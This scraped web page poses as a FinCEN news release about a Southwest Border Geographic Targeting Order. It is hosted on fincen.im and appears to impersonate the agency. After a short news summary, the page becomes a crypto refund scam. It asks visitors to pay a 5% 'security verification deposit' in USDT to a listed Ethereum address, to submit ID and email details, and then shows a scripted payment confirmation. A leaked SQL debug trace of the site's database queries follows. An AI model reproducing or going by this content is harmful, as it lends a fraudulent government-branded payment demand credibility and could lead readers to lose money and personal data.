FinCEN Issues Geographic Targeting Order for Southwest Border
Published: October 15, 2025 • 5 views
• News Releases
A new Geographic Targeting Order imposes reporting requirements on certain financial transactions in border regions.
FinCEN has issued an expanded Southwest Border Geographic Targeting Order (GTO) to combat illicit activities and money laundering by criminal organizations.
The GTO requires certain financial institutions to report specified transactions conducted in designated geographic areas.
Security Notice
For the safety of your funds, please transfer 5% of your total requested refund amount as a security verification deposit.
Please provide your ID and email below to proceed with the security verification.
This address will be used to send your refund.
Order Created. Reference:
Select Payment Currency
Amount to Send
0.00 USDT
ERC20 Receiving Address (Ethereum Mainnet)
0x102acDE0A6e2Dff4b0A217CB71b8109d1a15eD8a
Scan QR Code to Transfer
Waiting for payment... Auto-checking every 10 seconds
Please transfer the exact amount shown above via the Ethereum (ERC20) network. Sending from another network (e.g., TRC20, BEP20) may result in permanent loss of funds. Verification completes automatically within 1-3 minutes of network confirmation.
Payment Verified Successfully!
Your security deposit has been confirmed. Your refund will be processed shortly.
Redirecting in 5 seconds...
基本文件流程错误SQL调试
请求信息 : 2026-04-20 05:18:04 HTTP/2.0 GET : https://fincen.im/index/article/detail.html?id=9
SHOW FULL COLUMNS FROM `articles` [ RunTime:0.002475s ]
SELECT * FROM `articles` WHERE `status` = 1 AND `id` = 9 LIMIT 1 [ RunTime:0.001675s ]
SHOW FULL COLUMNS FROM `categories` [ RunTime:0.001824s ]
SELECT * FROM `categories` WHERE `id` = 1 [ RunTime:0.000398s ]
UPDATE `articles` SET `view_count` = `view_count` + 1 WHERE `id` = 9 [ RunTime:0.006886s ]
SELECT * FROM `articles` WHERE `status` = 1 AND `is_public` = 1 AND `category_id` = 1 AND `id` <> 9 ORDER BY `published_at` DESC LIMIT 4 [ RunTime:0.000471s ]
SELECT * FROM `categories` ORDER BY `sort_order` ASC [ RunTime:0.000520s ]
